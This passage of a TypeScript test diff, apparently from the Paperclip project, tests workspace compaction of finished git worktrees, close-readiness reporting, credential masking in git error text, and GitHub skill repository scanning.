const issuePrefix = `C${companyId.slice(0, 7).toUpperCase()}`;
|
||||
await db.insert(companies).values({
|
||||
id: companyId,
|
||||
name: "Paperclip",
|
||||
issuePrefix,
|
||||
requireBoardApprovalForNewAgents: false,
|
||||
});
|
||||
await db.insert(projects).values({ id: projectId, companyId, name: "Compaction", status: "in_progress" });
|
||||
await db.insert(agents).values({
|
||||
id: agentId,
|
||||
companyId,
|
||||
name: "Coder",
|
||||
role: "engineer",
|
||||
status: "active",
|
||||
adapterType: "codex_local",
|
||||
adapterConfig: {},
|
||||
runtimeConfig: {},
|
||||
permissions: {},
|
||||
});
|
||||
return { companyId, projectId, agentId, issuePrefix };
|
||||
}
|
||||
|
||||
async function seedWorkspace(options: {
|
||||
worktreePath?: string;
|
||||
repoRoot?: string;
|
||||
commitOnBranch?: boolean;
|
||||
populate?: boolean;
|
||||
terminalAgoMs?: number;
|
||||
mode?: "isolated_workspace" | "shared_workspace";
|
||||
} = {}) {
|
||||
const repoRoot = options.repoRoot ?? await createRepo();
|
||||
tempDirs.add(repoRoot);
|
||||
const branchName = `PAP-${Math.floor(Math.random() * 100000)}-finished-task`;
|
||||
let worktreePath = options.worktreePath;
|
||||
if (!worktreePath) {
|
||||
worktreePath = path.join(repoRoot, ".paperclip", "worktrees", branchName);
|
||||
await git(repoRoot, ["worktree", "add", "-b", branchName, worktreePath, "main"]);
|
||||
}
|
||||
if (options.commitOnBranch) {
|
||||
await writeFile(path.join(worktreePath, "src/feature.ts"), "export const unmerged = true;\n");
|
||||
await git(worktreePath, ["add", "src/feature.ts"]);
|
||||
await git(worktreePath, ["commit", "-m", "Unmerged work"]);
|
||||
}
|
||||
if (options.populate !== false) await populateWorktree(worktreePath);
|
||||
|
||||
const company = await seedCompany();
|
||||
const projectWorkspaceId = randomUUID();
|
||||
const executionWorkspaceId = randomUUID();
|
||||
const sourceIssueId = randomUUID();
|
||||
await db.insert(projectWorkspaces).values({
|
||||
id: projectWorkspaceId,
|
||||
companyId: company.companyId,
|
||||
projectId: company.projectId,
|
||||
name: "Primary",
|
||||
sourceType: "local_path",
|
||||
isPrimary: true,
|
||||
cwd: repoRoot,
|
||||
});
|
||||
await db.insert(executionWorkspaces).values({
|
||||
id: executionWorkspaceId,
|
||||
companyId: company.companyId,
|
||||
projectId: company.projectId,
|
||||
projectWorkspaceId,
|
||||
mode: options.mode ?? "isolated_workspace",
|
||||
strategyType: "git_worktree",
|
||||
name: branchName,
|
||||
status: "active",
|
||||
cwd: worktreePath,
|
||||
providerRef: worktreePath,
|
||||
providerType: "git_worktree",
|
||||
baseRef: "main",
|
||||
branchName,
|
||||
});
|
||||
await db.insert(issues).values({
|
||||
id: sourceIssueId,
|
||||
companyId: company.companyId,
|
||||
projectId: company.projectId,
|
||||
identifier: `${company.issuePrefix}-1`,
|
||||
title: "Finished task",
|
||||
status: "done",
|
||||
priority: "medium",
|
||||
completedAt: new Date(Date.now() - (options.terminalAgoMs ?? 2 * HOUR_MS)),
|
||||
executionWorkspaceId,
|
||||
});
|
||||
await db
|
||||
.update(executionWorkspaces)
|
||||
.set({ sourceIssueId })
|
||||
.where(eq(executionWorkspaces.id, executionWorkspaceId));
|
||||
return { ...company, repoRoot, worktreePath, branchName, executionWorkspaceId, sourceIssueId };
|
||||
}
|
||||
|
||||
async function workspaceStatus(executionWorkspaceId: string) {
|
||||
const [row] = await db
|
||||
.select({ status: executionWorkspaces.status })
|
||||
.from(executionWorkspaces)
|
||||
.where(eq(executionWorkspaces.id, executionWorkspaceId));
|
||||
return row?.status ?? null;
|
||||
}
|
||||
|
||||
async function expectRegenerablePresent(worktreePath: string, present: boolean) {
|
||||
for (const relativePath of REGENERABLE_PATHS) {
|
||||
expect(await exists(path.join(worktreePath, relativePath)), relativePath).toBe(present);
|
||||
}
|
||||
}
|
||||
|
||||
async function expectWorkPreserved(worktreePath: string) {
|
||||
for (const relativePath of PRESERVED_PATHS) {
|
||||
expect(await exists(path.join(worktreePath, relativePath)), relativePath).toBe(true);
|
||||
}
|
||||
expect(await fs.readFile(path.join(worktreePath, "README.md"), "utf8")).toContain("uncommitted edit");
|
||||
}
|
||||
|
||||
it("compacts an undelivered no-PR workspace with leftover files and keeps every source change", async () => {
|
||||
const seeded = await seedWorkspace({ commitOnBranch: true });
|
||||
const headBefore = await git(seeded.worktreePath, ["rev-parse", "HEAD"]);
|
||||
const statusBefore = await git(seeded.worktreePath, ["status", "--porcelain", "--untracked-files=all"]);
|
||||
|
||||
const sweep = await service().sweepTerminalWorkspaces();
|
||||
|
||||
// The branch carries unmerged work, so the reaper keeps the workspace.
|
||||
expect(sweep).toMatchObject({ compacted: 1, compactionFailed: 0, archived: 0, skippedUndelivered: 1 });
|
||||
expect(await workspaceStatus(seeded.executionWorkspaceId)).toBe("active");
|
||||
await expectRegenerablePresent(seeded.worktreePath, false);
|
||||
await expectWorkPreserved(seeded.worktreePath);
|
||||
expect(await exists(path.join(seeded.worktreePath, "src/feature.ts"))).toBe(true);
|
||||
expect(await git(seeded.worktreePath, ["rev-parse", "HEAD"])).toBe(headBefore);
|
||||
expect(await git(seeded.repoRoot, ["rev-parse", `refs/heads/${seeded.branchName}`])).toBe(headBefore);
|
||||
// Removing ignored directories never changes what Git sees as work.
|
||||
expect(await git(seeded.worktreePath, ["status", "--porcelain", "--untracked-files=all"])).toBe(statusBefore);
|
||||
// The moved files are deleted, not parked.
|
||||
const trashRoot = path.join(path.dirname(seeded.worktreePath), WORKSPACE_COMPACTION_TRASH_DIR);
|
||||
expect(await fs.readdir(trashRoot).catch(() => [])).toEqual([]);
|
||||
|
||||
const [activity] = await db
|
||||
.select({ details: activityLog.details })
|
||||
.from(activityLog)
|
||||
.where(and(
|
||||
eq(activityLog.entityId, seeded.executionWorkspaceId),
|
||||
eq(activityLog.action, "execution_workspace.regenerable_files_removed"),
|
||||
));
|
||||
expect((activity?.details as { removedPaths?: string[] } | undefined)?.removedPaths?.sort())
|
||||
.toEqual([...REGENERABLE_PATHS].sort());
|
||||
}, 30_000);
|
||||
|
||||
it("compacts a delivered workspace that is still inside the archive cooldown", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
await git(seeded.worktreePath, ["checkout", "--", "README.md"]);
|
||||
|
||||
const sweep = await service({ workspaceReaperCooldownDays: 7 }).sweepTerminalWorkspaces();
|
||||
|
||||
expect(sweep).toMatchObject({ compacted: 1, archived: 0, skippedCooldown: 1 });
|
||||
expect(await workspaceStatus(seeded.executionWorkspaceId)).toBe("active");
|
||||
await expectRegenerablePresent(seeded.worktreePath, false);
|
||||
expect(await exists(path.join(seeded.worktreePath, "notes/findings.md"))).toBe(true);
|
||||
}, 30_000);
|
||||
|
||||
it("defers compaction when a sweep skips it, and compacts on the next sweep", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
const svc = service({ workspaceReaperCooldownDays: 7 });
|
||||
|
||||
expect(await svc.sweepTerminalWorkspaces(50, undefined, { compact: false })).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
// The skipped compaction stays scheduled, so the worker wakes for it.
|
||||
const next = await svc.nextTerminalWorkspaceSweepAt();
|
||||
expect(next).not.toBeNull();
|
||||
expect(next!).toBeLessThanOrEqual(Date.now());
|
||||
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 1 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, false);
|
||||
}, 30_000);
|
||||
|
||||
it("leaves leftover trash for a later sweep when a sweep skips compaction", async () => {
|
||||
const seeded = await seedWorkspace({ populate: false });
|
||||
const trashEntry = path.join(path.dirname(seeded.worktreePath), WORKSPACE_COMPACTION_TRASH_DIR, "interrupted");
|
||||
await writeFile(path.join(trashEntry, "0/left-pad/index.js"), "module.exports = 1;\n");
|
||||
const twoHoursAgo = new Date(Date.now() - 2 * HOUR_MS);
|
||||
await fs.utimes(trashEntry, twoHoursAgo, twoHoursAgo);
|
||||
// The cooldown keeps the workspace a candidate across both sweeps.
|
||||
const svc = service({ workspaceReaperCooldownDays: 7 });
|
||||
|
||||
await svc.sweepTerminalWorkspaces(50, undefined, { compact: false });
|
||||
expect(await exists(trashEntry)).toBe(true);
|
||||
|
||||
await svc.sweepTerminalWorkspaces();
|
||||
expect(await exists(trashEntry)).toBe(false);
|
||||
}, 30_000);
|
||||
|
||||
it("purges skipped trash after a startup sweep archives the last workspace beside it", async () => {
|
||||
const seeded = await seedWorkspace({ populate: false });
|
||||
const trashEntry = path.join(path.dirname(seeded.worktreePath), WORKSPACE_COMPACTION_TRASH_DIR, "interrupted");
|
||||
await writeFile(path.join(trashEntry, "0/left-pad/index.js"), "module.exports = 1;\n");
|
||||
const twoHoursAgo = new Date(Date.now() - 2 * HOUR_MS);
|
||||
await fs.utimes(trashEntry, twoHoursAgo, twoHoursAgo);
|
||||
const svc = service();
|
||||
|
||||
// No cooldown: the startup sweep archives the only workspace in this
|
||||
// directory, so no later sweep has a candidate there.
|
||||
expect(await svc.sweepTerminalWorkspaces(50, undefined, { compact: false })).toMatchObject({ archived: 1 });
|
||||
expect(await exists(trashEntry)).toBe(true);
|
||||
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ checked: 0 });
|
||||
expect(await exists(trashEntry)).toBe(false);
|
||||
}, 30_000);
|
||||
|
||||
it("keeps skipped trash queued when the next sweep is aborted", async () => {
|
||||
const seeded = await seedWorkspace({ populate: false });
|
||||
const trashEntry = path.join(path.dirname(seeded.worktreePath), WORKSPACE_COMPACTION_TRASH_DIR, "interrupted");
|
||||
await writeFile(path.join(trashEntry, "0/left-pad/index.js"), "module.exports = 1;\n");
|
||||
const twoHoursAgo = new Date(Date.now() - 2 * HOUR_MS);
|
||||
await fs.utimes(trashEntry, twoHoursAgo, twoHoursAgo);
|
||||
const svc = service();
|
||||
await svc.sweepTerminalWorkspaces(50, undefined, { compact: false });
|
||||
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
await expect(svc.sweepTerminalWorkspaces(50, controller.signal)).rejects.toThrow();
|
||||
expect(await exists(trashEntry)).toBe(true);
|
||||
|
||||
await svc.sweepTerminalWorkspaces();
|
||||
expect(await exists(trashEntry)).toBe(false);
|
||||
}, 30_000);
|
||||
|
||||
it("waits for the compaction delay after the issue tree becomes terminal", async () => {
|
||||
const seeded = await seedWorkspace({ terminalAgoMs: 10 * 60 * 1000 });
|
||||
const svc = service({ workspaceReaperCooldownDays: 7, workspaceCompactionDelayMs: HOUR_MS });
|
||||
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
// The worker wakes when the delay ends, not when the archive cooldown ends.
|
||||
const next = await svc.nextTerminalWorkspaceSweepAt();
|
||||
expect(next).not.toBeNull();
|
||||
expect(next!).toBeLessThan(Date.now() + HOUR_MS);
|
||||
|
||||
await db
|
||||
.update(issues)
|
||||
.set({ completedAt: new Date(Date.now() - 2 * HOUR_MS) })
|
||||
.where(eq(issues.id, seeded.sourceIssueId));
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 1 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, false);
|
||||
}, 30_000);
|
||||
|
||||
it("leaves files alone while a run is active on the task", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
const runId = randomUUID();
|
||||
await db.insert(heartbeatRuns).values({ id: runId, companyId: seeded.companyId, agentId: seeded.agentId, status: "running" });
|
||||
await db.update(issues).set({ checkoutRunId: runId }).where(eq(issues.id, seeded.sourceIssueId));
|
||||
|
||||
const sweep = await service().sweepTerminalWorkspaces();
|
||||
|
||||
expect(sweep).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
}, 30_000);
|
||||
|
||||
it("leaves files alone while a queued run targets the task through its context", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
await db.insert(heartbeatRuns).values({
|
||||
id: randomUUID(),
|
||||
companyId: seeded.companyId,
|
||||
agentId: seeded.agentId,
|
||||
status: "queued",
|
||||
contextSnapshot: { issueId: seeded.sourceIssueId },
|
||||
});
|
||||
|
||||
expect(await service().sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
}, 30_000);
|
||||
|
||||
it("leaves files alone while a child issue is unfinished", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
await db.insert(issues).values({
|
||||
id: randomUUID(),
|
||||
companyId: seeded.companyId,
|
||||
projectId: seeded.projectId,
|
||||
parentId: seeded.sourceIssueId,
|
||||
identifier: `${seeded.issuePrefix}-2`,
|
||||
title: "Follow-up",
|
||||
status: "todo",
|
||||
priority: "medium",
|
||||
});
|
||||
|
||||
expect(await service().sweepTerminalWorkspaces()).toMatchObject({ compacted: 0, skippedNonTerminalTree: 1 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
}, 30_000);
|
||||
|
||||
it("leaves files alone while a runtime service runs from the worktree", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
await db.insert(workspaceRuntimeServices).values({
|
||||
id: randomUUID(),
|
||||
companyId: seeded.companyId,
|
||||
projectId: seeded.projectId,
|
||||
executionWorkspaceId: seeded.executionWorkspaceId,
|
||||
issueId: seeded.sourceIssueId,
|
||||
scopeType: "execution_workspace",
|
||||
serviceName: "web",
|
||||
status: "running",
|
||||
lifecycle: "shared",
|
||||
command: "pnpm dev",
|
||||
cwd: seeded.worktreePath,
|
||||
provider: "local_process",
|
||||
healthStatus: "healthy",
|
||||
});
|
||||
|
||||
expect(await service().sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
}, 30_000);
|
||||
|
||||
it("restores the files when the task reopens while they are being moved", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
const svc = service({
|
||||
afterWorkspaceCompactionMove: async () => {
|
||||
await db.update(issues).set({ status: "todo", completedAt: null }).where(eq(issues.id, seeded.sourceIssueId));
|
||||
},
|
||||
});
|
||||
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 0, compactionFailed: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
expect(await fs.readFile(path.join(seeded.worktreePath, "node_modules/left-pad/index.js"), "utf8"))
|
||||
.toBe("module.exports = 1;\n");
|
||||
const trashRoot = path.join(path.dirname(seeded.worktreePath), WORKSPACE_COMPACTION_TRASH_DIR);
|
||||
expect(await fs.readdir(trashRoot).catch(() => [])).toEqual([]);
|
||||
}, 30_000);
|
||||
|
||||
it("restores the files when a run starts while they are being moved", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
const svc = service({
|
||||
afterWorkspaceCompactionMove: async () => {
|
||||
await db.insert(heartbeatRuns).values({
|
||||
id: randomUUID(),
|
||||
companyId: seeded.companyId,
|
||||
agentId: seeded.agentId,
|
||||
status: "queued",
|
||||
contextSnapshot: { issueId: seeded.sourceIssueId },
|
||||
});
|
||||
},
|
||||
});
|
||||
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
}, 30_000);
|
||||
|
||||
it("never compacts a shared workspace or a main checkout", async () => {
|
||||
const shared = await seedWorkspace({ mode: "shared_workspace" });
|
||||
expect(await service().sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(shared.worktreePath, true);
|
||||
|
||||
// A workspace row that points at the repository's main checkout (its .git
|
||||
// is a directory) is never compacted, whatever its strategy says.
|
||||
const repoRoot = await createRepo();
|
||||
await populateWorktree(repoRoot);
|
||||
await seedWorkspace({ repoRoot, worktreePath: repoRoot, populate: false });
|
||||
expect(await service().sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(repoRoot, true);
|
||||
}, 30_000);
|
||||
|
||||
it("compacts once per terminal cycle and again after the task finishes a later cycle", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
const svc = service({ workspaceReaperCooldownDays: 7 });
|
||||
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 1 });
|
||||
// A resumed run regenerates dependencies, and the task finishes again.
|
||||
await writeFile(path.join(seeded.worktreePath, "node_modules/left-pad/index.js"), "module.exports = 1;\n");
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
expect(await exists(path.join(seeded.worktreePath, "node_modules"))).toBe(true);
|
||||
|
||||
await db
|
||||
.update(issues)
|
||||
.set({ completedAt: new Date(Date.now() - HOUR_MS) })
|
||||
.where(eq(issues.id, seeded.sourceIssueId));
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ compacted: 1 });
|
||||
expect(await exists(path.join(seeded.worktreePath, "node_modules"))).toBe(false);
|
||||
}, 30_000);
|
||||
|
||||
it("regenerates removed files when the task resumes in the compacted worktree", async () => {
|
||||
const repoRoot = await createRepo();
|
||||
tempDirs.add(repoRoot);
|
||||
const provisionCommand = "mkdir -p node_modules/left-pad && echo regenerated > node_modules/left-pad/index.js";
|
||||
const realizationInput = {
|
||||
base: {
|
||||
baseCwd: repoRoot,
|
||||
source: "project_primary" as const,
|
||||
projectId: "project-1",
|
||||
workspaceId: "workspace-1",
|
||||
repoUrl: null,
|
||||
repoRef: "main",
|
||||
},
|
||||
config: { workspaceStrategy: { type: "git_worktree", baseRef: "main", provisionCommand } },
|
||||
issue: { id: "issue-1", identifier: "PAP-9", title: "Resume after compaction" },
|
||||
agent: { id: "agent-1", name: "Coder", companyId: "company-1" },
|
||||
} satisfies Parameters<typeof realizeExecutionWorkspace>[0];
|
||||
const first = await realizeExecutionWorkspace(realizationInput);
|
||||
expect(first.created).toBe(true);
|
||||
await writeFile(path.join(first.cwd, "notes/findings.md"), "untracked agent notes\n");
|
||||
await writeFile(path.join(first.cwd, "src/feature.ts"), "export const unmerged = true;\n");
|
||||
await git(first.cwd, ["add", "src/feature.ts"]);
|
||||
await git(first.cwd, ["commit", "-m", "Unmerged work"]);
|
||||
const head = await git(first.cwd, ["rev-parse", "HEAD"]);
|
||||
|
||||
const seeded = await seedWorkspace({ repoRoot, worktreePath: first.cwd, populate: false });
|
||||
expect(await service().sweepTerminalWorkspaces()).toMatchObject({ compacted: 1 });
|
||||
expect(await exists(path.join(first.cwd, "node_modules"))).toBe(false);
|
||||
expect(await workspaceStatus(seeded.executionWorkspaceId)).toBe("active");
|
||||
|
||||
const resumed = await realizeExecutionWorkspace({
|
||||
...realizationInput,
|
||||
recordedBranchOwnership: { branchName: first.branchName!, createdByRuntime: true },
|
||||
});
|
||||
|
||||
expect(resumed.created).toBe(false);
|
||||
expect(resumed.cwd).toBe(first.cwd);
|
||||
expect(await fs.readFile(path.join(first.cwd, "node_modules/left-pad/index.js"), "utf8")).toBe("regenerated\n");
|
||||
expect(await fs.readFile(path.join(first.cwd, "notes/findings.md"), "utf8")).toBe("untracked agent notes\n");
|
||||
expect(await git(first.cwd, ["rev-parse", "HEAD"])).toBe(head);
|
||||
}, 60_000);
|
||||
|
||||
it("purges leftover trash even when the workspace has nothing left to compact", async () => {
|
||||
const seeded = await seedWorkspace({ populate: false });
|
||||
const trashEntry = path.join(path.dirname(seeded.worktreePath), WORKSPACE_COMPACTION_TRASH_DIR, "interrupted");
|
||||
await writeFile(path.join(trashEntry, "0/left-pad/index.js"), "module.exports = 1;\n");
|
||||
const twoHoursAgo = new Date(Date.now() - 2 * HOUR_MS);
|
||||
await fs.utimes(trashEntry, twoHoursAgo, twoHoursAgo);
|
||||
|
||||
const sweep = await service().sweepTerminalWorkspaces();
|
||||
|
||||
expect(sweep).toMatchObject({ compacted: 0, compactionFailed: 0 });
|
||||
expect(await exists(trashEntry)).toBe(false);
|
||||
}, 30_000);
|
||||
|
||||
it("does not compact when compaction is disabled", async () => {
|
||||
const seeded = await seedWorkspace();
|
||||
expect(await service({ workspaceCompactionDelayMs: null }).sweepTerminalWorkspaces()).toMatchObject({ compacted: 0 });
|
||||
await expectRegenerablePresent(seeded.worktreePath, true);
|
||||
}, 30_000);
|
||||
});
|
||||
@@ -719,25 +719,10 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
|
||||
});
|
||||
|
||||
it("reports a squash cross-branch delivery as merged_via_pr and suppresses the ancestry warning", async () => {
|
||||
const repoRoot = await createTempRepo();
|
||||
tempDirs.add(repoRoot);
|
||||
const worktreePath = path.join(path.dirname(repoRoot), `paperclip-delivery-${randomUUID()}`);
|
||||
tempDirs.add(worktreePath);
|
||||
await runGit(repoRoot, ["branch", "PAP-16015-delivery"]);
|
||||
await runGit(repoRoot, ["worktree", "add", worktreePath, "PAP-16015-delivery"]);
|
||||
await fs.writeFile(path.join(worktreePath, "delivered.txt"), "delivered\n", "utf8");
|
||||
await runGit(worktreePath, ["add", "delivered.txt"]);
|
||||
await runGit(worktreePath, ["commit", "-m", "Delivered change"]);
|
||||
|
||||
const seeded = await seedTerminalWorkspace();
|
||||
pullRequestDetailsByKey.set(`${seeded.companyId}:10623`, {
|
||||
state: "merged",
|
||||
headRef: "PAP-16015-delivery",
|
||||
headSha: await readGit(worktreePath, ["rev-parse", "HEAD"]),
|
||||
});
|
||||
await db.update(executionWorkspaces).set({
|
||||
cwd: worktreePath,
|
||||
providerRef: worktreePath,
|
||||
cwd: seeded.worktreePath,
|
||||
providerRef: seeded.worktreePath,
|
||||
providerType: "git_worktree",
|
||||
baseRef: "main",
|
||||
repoUrl: "https://github.com/paperclipai/paperclip.git",
|
||||
@@ -855,6 +840,58 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
|
||||
expect(workspace).toMatchObject({ status: "archived", cleanupReason: "issue_terminal" });
|
||||
}, 20_000);
|
||||
|
||||
it("reads company-scoped execution configuration without live Git inspection", async () => {
|
||||
const seed = await seedAncestryTerminalWorkspace();
|
||||
const service = executionWorkspaceService(db, {
|
||||
inspectGitCloseReadiness: async () => { throw new Error("Git inspection unavailable"); },
|
||||
});
|
||||
const config = { provisionCommand: "echo prepare", environmentId: randomUUID() };
|
||||
await db.update(executionWorkspaces).set({ metadata: { config } })
|
||||
.where(eq(executionWorkspaces.id, seed.executionWorkspaceId));
|
||||
|
||||
expect(await service.getStoredById(seed.companyId, seed.executionWorkspaceId)).toMatchObject({
|
||||
id: seed.executionWorkspaceId, companyId: seed.companyId,
|
||||
cwd: seed.worktreePath, baseRef: "main", config,
|
||||
deliveryState: "unknown", runtimeServices: [],
|
||||
});
|
||||
await expect(service.getStoredById(randomUUID(), seed.executionWorkspaceId))
|
||||
.rejects.toThrow("Task workspace access is no longer available");
|
||||
expect(await service.getStoredById(seed.companyId, randomUUID())).toBeNull();
|
||||
await expect(service.getById(seed.executionWorkspaceId)).rejects.toThrow("Git inspection unavailable");
|
||||
});
|
||||
|
||||
it("derives ancestry from the existing comparison and stays unknown for an invalid base", async () => {
|
||||
const seed = await seedAncestryTerminalWorkspace();
|
||||
const traceDir = await fs.mkdtemp(path.join(os.tmpdir(), "workspace-git-trace-"));
|
||||
tempDirs.add(traceDir);
|
||||
const tracePath = path.join(traceDir, "git.trace");
|
||||
const previousTrace = process.env.GIT_TRACE;
|
||||
process.env.GIT_TRACE = tracePath;
|
||||
try {
|
||||
const merged = await svc.getCloseReadiness(seed.executionWorkspaceId);
|
||||
expect(merged?.git).toMatchObject({ aheadCount: 0, behindCount: 0, isMergedIntoBase: true });
|
||||
expect(await fs.readFile(tracePath, "utf8")).not.toContain("merge-base");
|
||||
|
||||
await fs.writeFile(path.join(seed.worktreePath, "new.txt"), "Undelivered work\n");
|
||||
await runGit(seed.worktreePath, ["add", "new.txt"]);
|
||||
await runGit(seed.worktreePath, ["commit", "-m", "Undelivered work"]);
|
||||
const ahead = await svc.getCloseReadiness(seed.executionWorkspaceId);
|
||||
expect(ahead?.git).toMatchObject({ aheadCount: 1, behindCount: 0, isMergedIntoBase: false });
|
||||
expect(ahead?.deliveryState).toBe("unmerged");
|
||||
|
||||
await db.update(executionWorkspaces).set({ baseRef: "missing-base" })
|
||||
.where(eq(executionWorkspaces.id, seed.executionWorkspaceId));
|
||||
const unknown = await svc.getCloseReadiness(seed.executionWorkspaceId);
|
||||
expect(unknown?.git).toMatchObject({ aheadCount: null, behindCount: null, isMergedIntoBase: null });
|
||||
expect(unknown?.deliveryState).toBe("unknown");
|
||||
expect(await svc.sweepTerminalWorkspaces()).toMatchObject({ archived: 0, skippedUndelivered: 1 });
|
||||
await expect(fs.access(seed.worktreePath)).resolves.toBeUndefined();
|
||||
} finally {
|
||||
if (previousTrace === undefined) delete process.env.GIT_TRACE;
|
||||
else process.env.GIT_TRACE = previousTrace;
|
||||
}
|
||||
});
|
||||
|
||||
it("fails closed before archive when git status inspection is unavailable", async () => {
|
||||
const seeded = await seedAncestryTerminalWorkspace();
|
||||
const statusSpy = vi.spyOn(workspaceGitOperationScheduler, "run")
|
||||
|
||||
@@ -284,6 +284,12 @@ describe("scrubGitCredentialText", () => {
|
||||
expect(scrubGitCredentialText("https://x-access-token:ghp_secret@github.com/a/b.git")).toBe(
|
||||
"https://***@github.com/a/b.git",
|
||||
);
|
||||
expect(scrubGitCredentialText(
|
||||
'fatal: unable to access "https://x-access-token:ghp_abc123@github.com/example/repo.git"',
|
||||
)).toBe('fatal: unable to access "https://***@github.com/example/repo.git"');
|
||||
expect(scrubGitCredentialText(
|
||||
"clone https://alice@github.com/a.git then http://token@internal.example/b.git",
|
||||
)).toBe("clone https://***@github.com/a.git then http://***@internal.example/b.git");
|
||||
});
|
||||
|
||||
it("masks userinfo on non-HTTP schemes, leaving scp-style remotes alone", () => {
|
||||
@@ -293,6 +299,12 @@ describe("scrubGitCredentialText", () => {
|
||||
expect(scrubGitCredentialText("git@github.com:example/repo.git")).toBe(
|
||||
"git@github.com:example/repo.git",
|
||||
);
|
||||
expect(scrubGitCredentialText(
|
||||
"fatal: cannot clone ssh://deploy:hunter2@internal.example/repo.git or git+ssh://bob@host/x.git",
|
||||
)).toBe("fatal: cannot clone ssh://***@internal.example/repo.git or git+ssh://***@host/x.git");
|
||||
expect(scrubGitCredentialText("fetch from git@github.com:example/repo.git failed")).toBe(
|
||||
"fetch from git@github.com:example/repo.git failed",
|
||||
);
|
||||
});
|
||||
|
||||
it("masks entire URL query strings regardless of parameter names", () => {
|
||||
@@ -302,10 +314,20 @@ describe("scrubGitCredentialText", () => {
|
||||
expect(scrubGitCredentialText("https://host.example/r.git?obscure_cred_name=secret")).toBe(
|
||||
"https://host.example/r.git?***",
|
||||
);
|
||||
expect(scrubGitCredentialText(
|
||||
"fatal: unable to access 'https://github.com/example/repo.git?access_token=ghs_secret&ref=main'",
|
||||
)).toBe("fatal: unable to access 'https://github.com/example/repo.git?***'");
|
||||
expect(scrubGitCredentialText(
|
||||
"clone https://gitlab.example/repo.git?anything=glpat-123 failed",
|
||||
)).toBe("clone https://gitlab.example/repo.git?*** failed");
|
||||
});
|
||||
|
||||
it("leaves credential-free text unchanged", () => {
|
||||
expect(scrubGitCredentialText("fatal: repository not found")).toBe("fatal: repository not found");
|
||||
const text = 'Failed to clone "https://github.com/example/repo.git": exit code 128';
|
||||
expect(scrubGitCredentialText(text)).toBe(text);
|
||||
const plain = "git clone failed with exit code=128 at key step ref=main";
|
||||
expect(scrubGitCredentialText(plain)).toBe(plain);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -6,18 +6,42 @@ import path from 'node:path';
|
||||
import { pathToFileURL } from 'node:url';
|
||||
import { promisify } from 'node:util';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import { scanGitHubSkills, scanGitHubSkillsWithPackageFallback, rejectIncompleteSkillPackages, previewGitHubSkillFile, parseSkillRepository } from '../services/github-skill-source.js';
|
||||
import { scanGitHubSkills, scanGitHubSkillsWithPackageFallback, previewGitHubSkillFile, parseSkillRepository } from '../services/github-skill-source.js';
|
||||
import { skillSourceDiscoverySchema, skillSourcePreviewSchema, type SkillSourceScanUpdate } from '@paperclipai/shared';
|
||||
import { skillFileBytes } from '../services/skill-snapshot.js';
|
||||
|
||||
const sha = 'a'.repeat(40);
|
||||
const md = (name: string) => `---\nname: ${name}\ndescription: A useful skill\n---\nFollow these instructions.\n`;
|
||||
describe('GitHub skill repository discovery', () => {
|
||||
it('keeps bounded packages discoverable but rejects dependencies omitted by repository fallback', async () => {
|
||||
it('batches each dependency frontier instead of spawning a Git read for every Markdown file', async () => {
|
||||
const files = {
|
||||
...Object.fromEntries(Array.from({ length: 64 }, (_, i) => [`skills/skill-${i}/SKILL.md`, md(`skill-${i}`) + '\n[Guide](../../shared/guide.md)'])),
|
||||
'shared/guide.md': '[Details](details.md)',
|
||||
'shared/details.md': '[Guide](guide.md) [Data](data.json)',
|
||||
'shared/data.json': '{"example":true}',
|
||||
...Object.fromEntries(Array.from({ length: 10_000 }, (_, i) => [`unrelated/${i}.txt`, ''])),
|
||||
};
|
||||
const fixture = githubFixture(files);
|
||||
const snapshot = await fixture.openSnapshot({ repositoryUrl: '', ref: 'main' });
|
||||
const read = snapshot.readBlob;
|
||||
const singleReads = vi.spyOn(snapshot, 'readBlob');
|
||||
const batches = vi.fn(async (entries: typeof snapshot.entries) => new Map(await Promise.all(entries.map(async entry => [entry.sha, await read(entry)] as const))));
|
||||
snapshot.readBlobs = batches;
|
||||
fixture.openSnapshot = async () => snapshot;
|
||||
const scan = await scanGitHubSkillsWithPackageFallback({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository' }, fixture);
|
||||
